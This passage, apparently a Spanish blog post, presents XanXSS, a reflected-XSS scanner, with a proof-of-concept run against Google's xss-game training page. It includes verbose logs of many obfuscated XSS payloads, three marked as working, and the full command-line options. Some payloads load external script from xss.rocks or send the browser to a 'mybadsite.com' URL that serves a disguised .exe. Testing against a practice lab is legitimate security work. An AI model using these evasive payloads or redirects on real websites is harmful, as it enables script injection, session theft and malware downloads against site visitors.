
Una herramienta sencilla para encontrar XSS
XanXSS es una herramienta de búsqueda de XSS reflejado (DOM próximamente) que crea payloads basados en plantillas. A diferencia de otros escáneres XSS que simplemente recorren una lista de payloads, XanXSS intenta hacer que el payload sea no identificable, por ejemplo:
<xAnXSS</TitLE></STYLE><SVG/ONload='alERt(1);'/></XaNxSs</titLe></StYlE><SvG/ONlOAD='alerT(1);'/>
</scRIPt>
/>cLIcK Me!</b</TextaRea></TiTLE><BUTtON ONcLIck='aleRT(1);'/>XaNxss</TEXTaRea>
<Svg/onLoad='alErT((1));'/>
Con XanXSS cada payload es diferente. XanXSS funciona recorriendo los payloads hasta que se encuentra un número específico o un temporizador alcanza el tiempo máximo, esto evita que se repita demasiado tiempo. Algunas de las características incluidas en XanXSS son:
-H-P--proxyPara esta prueba de concepto usaremos https://xss-game.appspot.com/level1/frame
admin@TBG-a0216:~/bin/python/xanxss$ python xanxss.py -u "http://xss-game.appspot.com/level1/frame?query=" -a 12 -t 12 -f 25 -v
____ ___ ____ ___ _________ _________
\ \/ /____ ____ \ \/ / / _____// _____/
\ /\__ \ / \ \ / \_____ \ \_____ \
/ \ / __ \| | \/ \ / \/ \
/___/\ (____ /___| /___/\ \/_______ /_______ /
\_/ \/ \/ \_/ \/ \/
Twitter-> @stay__salty
Github --> ekultek
Version---> v(0.1)
[info][16:37:34] usando payloads por defecto
[info][16:37:34] generando payloads
[info][16:37:34] ejecutando payloads a través de procedimientos de manipulación
[info][16:37:34] payloads manipulados exitosamente
[info][16:37:34] ejecutando payloads
[debug][16:37:34] ejecutando payload '<xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>'
[debug][16:37:34] ejecutando payload '<SCRipt Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>'
[debug][16:37:34] ejecutando payload '<xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>'
[debug][16:37:34] ejecutando payload '</sCRipt>'
[debug][16:37:34] ejecutando payload '<SCRIPT/*/srC=">A=%0aprompT,A(();=%09'htTp://xSs.rockS/XSs.Js'</TeXTARea></TiTLE><buTTOn oncLiCK='ALeRT(1);'/>XAnXsS</tEXTARea></scrIPTjaVaSCRipT:/*--></sCRIPt>'
[debug][16:37:35] ejecutando payload '</SCripT>'
[debug][16:37:35] ejecutando payload '<XAnXSS</STYlE><SVg/OnLOAd='aLeRT(1));'/></xAnXsSjaVasCRIpt:/*--></scrIpt>'
[debug][16:37:35] ejecutando payload '<sCRIPt`Src=+cOnFiRm());=+'htTP://xSs.rOCKs/xsS.js'</TextaREA></tiTle><ButTon ONCliCK='AlErt(1);'/>xanxSS</TeXTarEa></SCriPtJAvaScrIPt:/*--></SCrIpt>'
[debug][16:37:35] ejecutando payload '<scRIpT</title></stYle><sVG/onlOAD='AlERT(1));'/>aLert((1));</scRipT</titLE></STyLe><sVG/oNlOad='aLeRt((1));'/>'
[debug][16:37:35] ejecutando payload '<SC\u009lripT/*/SrC=%0aConFirm();= 'hTTP://xsS.ROcks/xSs.js'</TITle></StYlE><svg/ONLOad='ALerT(1);'/></ScriPT</StyLe><svG/OnLOAd='ALert((1);'/>'
[debug][16:37:35] ejecutando payload '<B//ONMOuSEOver=">ConFIrm(();= wIndow.LoCATIoN= \u005g;(pRoMPT))``;=%0A'htTpS://MyBaDSitE.cOM/dOwnLoAd.phP?iTem=+(pRomPt)``;=%0apuMPEDuPkICKs.exE'jaVAScrIpt:/*--></sCrIPt>ClIcK/*/mE!</b</tiTLe></sTyLE><sVG/OnLoAd='aLert(1));'/>'
[debug][16:37:35] ejecutando payload '<IfRA\u007pme%00SrC=%0AcOnFIRm(());=%0a"jaVAScriPT:pRoMPT(1)"jAVaScRIpt:/*--></SCriPt>'
[debug][16:37:36] ejecutando payload '</TiTLe><BUttoN oNcliCK='aLERt((1));'/>XanXss</texTAReA>'
[debug][16:37:36] ejecutando payload '</sCripT>'
[debug][16:37:36] ejecutando payload '<SVg/oNLoad='ALErT(1));'/>'
[debug][16:37:36] ejecutando payload '<script</tITLE></style><SVG/onLOAD='alerT(1);'/>AleRt(1);</ScRIpTjAvASCrIPT:/*--></scRIPt>'
[debug][16:37:36] ejecutando payload '<XaNxSs</tITle></sTYlE><SVg/ONload='aLERT((1);'/></xANxsS</stYLE><Svg/OnlOAD='AleRt(1);'/>'
[debug][16:37:36] ejecutando payload '<b//ONmOUSEoVEr=%0D[8].fInd(coNfIrM);=%09WinDoW.location=%0A(COnfiRm)(();= 'htTPS://MYBadsite.cOM/DoWNlOaD.php?ITEm=+COnFIrM();=+puMPEDupKickS.ExE'</styLe><sVG/OnLOAd='alERt((1);'/>CLick%00Me!</b</sTYlE><SVG/onloAD='AlERt(1);'/>'
[debug][16:37:37] ejecutando payload '<scriPT</styLE><SvG/ONloaD='aLERT(1);'/>ALeRt(1);</SCrIPt</tiTLe></STYlE><sVG/OnloAd='aLeRT(1\u009x);'/>'
[debug][16:37:37] ejecutando payload '</sTyle><svg/oNLOad='alert((1);'/>'
[debug][16:37:37] ejecutando payload '<b/*/OnmOusEOver= A=%0apROMpt,A();=+wINdOW.LOCAtIon=">co\U006EfiR\u006\u003id();=%09'HTtPS://MYBAdsiTE.com/doWNload.php?itEm=+((CoNfIrm)();=">puMpedUPKickS.eXe'</teXtaREa></tiTLe><BUTTON oNclIck='aLeRT((1);'/>XanXsS</texTAREA>cLICk/*/Me!</B</StylE><SVG/ONloAd='aLERt((1));'/>'
[debug][16:37:37] ejecutando payload '<XANxSSJaVaScRIpt:/*--></SCripT></XAnXSs</TExtAREa></tITle\u008w><b\u009fuTTON oNclIck='Ale\u003rRT((1);'/>xANXss</TEXTArEA>'
[debug][16:37:37] ejecutando payload '<SCript/*/sRC=+A= prOmpt,A();= 'HtTp://XsS.rocKS/xsS.JS'</stylE><sVG/onLoad='AlErT((1);'/></SCriptjAvaScriPt:/*--></ScrIpt>'
[debug][16:37:37] ejecutando payload '</StYLe><svg/onloAD='alERt(1);'/>'
[debug][16:37:38] ejecutando payload '<B/*/ONmouSeOvEr=%0Aa= prOmpT,A();=%09WIndOw.LOCAtION=%0Aa=%09prompt,a();=%0A'hTTps://MYBadsITe.COM/DOWNLOAD.PHp?ITeM= cO\u006Efir\u006D());=%0dPumPeduPkicks.EXE'</tITlE></StyLE><svg/OnlOAD='aLerT((1));'/>clIcK mE!</bJavASCript:/*--></sCrIPT>'
[warning][16:37:48] se acabó el tiempo, volcando resultados encontrados
[info][16:37:48] payloads funcionales:
--------------------------------------------------
~~> <xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>
~~> <SCRipt Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>
~~> <xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>
--------------------------------------------------
[info][16:37:48] se encontró un total de 3 payloads funcionales
admin@TBG-a0216:~/bin/python/xanxss$
Ahora revisemos esos scripts en el HTML del sitio web:
Payload:<xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>

Payload: <SCRipt Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>

Payload: <xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>

XanXSS viene completo con la capacidad de usar un proxy, es compatible con proxychains, y te permite agregar encabezados personalizados. He proporcionado una lista completa de opciones para tu comodidad:
usage: xanxss.py [-h] [-u http://test.com/test.php?id=] [-a VERIFY]
[-f AMOUNT] [-t TIME] [-p SCRIPT, [SCRIPT, ...]]
[-F FILE-PATH] [-v] [--proxy TYPE://IP:PORT]
[-H HEADER=VALUE,HEADER:VALUE] [--throttle TIME secs] [-P]
optional arguments:
-h, --help muestra este mensaje de ayuda y sale
-u http://test.com/test.php?id=, --url http://test.com/test.php?id=
pasa una URL para probar vulnerabilidades XSS. se
recomienda usar una URL con un parámetro de consulta
-a VERIFY, --amount VERIFY
cuántos pasos de verificación se tomarán, esto
determinará qué tan confiable es el payload. mientras más pasos de verificación,
más confiable será el payload (*por defecto=5)
-f AMOUNT, --find AMOUNT
intenta encontrar esta cantidad de payloads funcionales,
especificar esto no garantiza que encontrarás esta
cantidad de payloads funcionales (*por defecto=25)
-t TIME, --time TIME cantidad de tiempo en segundos a dedicar a las pruebas, esto
se usará como temporizador para la verificación
(*por defecto=35s)
-p SCRIPT, [SCRIPT, ...], --payloads SCRIPT, [SCRIPT, ...]
pasa una lista separada por comas de tus propios payloads,
debe contener al menos 5 payloads
-F FILE-PATH, --file FILE-PATH
pasa un archivo de texto que contenga payloads, uno por línea,
debe contener al menos 5 payloads
-v, --verbose ejecutar en modo verbose y mostrar más salida
(*por defecto=False)
--proxy TYPE://IP:PORT
pasa un proxy en el formato tipo://ip:puerto
-H HEADER=VALUE,HEADER:VALUE, --headers HEADER=VALUE,HEADER:VALUE
agrega tus propios encabezados personalizados a la solicitud
(*por defecto=connection,user-agent)
--throttle TIME (secs)
limita cada solicitud con un tiempo de espera (*por defecto=0)
-P, --polyglot genera un script políglota para agregar al final de los
scripts en ejecución, si hay XSS debería encontrarlo
(*por defecto=False)
Si encuentras algún error o problema, por favor crea un issue